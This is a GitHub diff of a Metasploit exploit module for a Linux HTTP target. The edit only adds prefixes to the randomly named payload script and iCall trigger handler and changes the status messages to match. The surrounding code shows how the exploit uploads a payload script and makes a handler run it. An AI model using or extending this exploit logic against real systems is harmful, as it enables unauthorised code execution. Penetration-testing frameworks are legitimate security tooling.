File tree Expand file tree Collapse file tree 1 file changed +4
-5
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +4
-5
lines changed Original file line number Diff line number Diff line change @@ -227,9 +227,8 @@ def exploit
227
227
return false
228
228
end
229
229
230
- print_status ( 'Uploading payload script...' )
231
-
232
- script_name = Rex ::Text . rand_text_alphanumeric ( 16 )
230
+ script_name = "script-#{ Rex ::Text . rand_text_alphanumeric ( 16 ) } "
231
+ print_status ( "Uploading payload script #{ script_name } " )
233
232
create_script_res = create_script ( script_name , cmd )
234
233
unless create_script_res && create_script_res . code == 200
235
234
print_error ( "Upload payload script failed" )
@@ -242,8 +241,8 @@ def exploit
242
241
register_file_for_cleanup @payload_path
243
242
244
243
# phase 2: create iCall Handler, that will actually run the previously created script
245
- print_status ( 'Creating trigger...' )
246
- handler_name = Rex :: Text . rand_text_alphanumeric ( 16 )
244
+ handler_name = "handler- #{ Rex :: Text . rand_text_alphanumeric ( 16 ) } "
245
+ print_status ( "Creating trigger #{ handler_name } " )
247
246
unless create_handler ( handler_name , script_name )
248
247
print_error ( 'Payload script uploaded but trigger creation failed' )
249
248
delete_script ( script_name )
You can’t perform that action at this time.
0 commit comments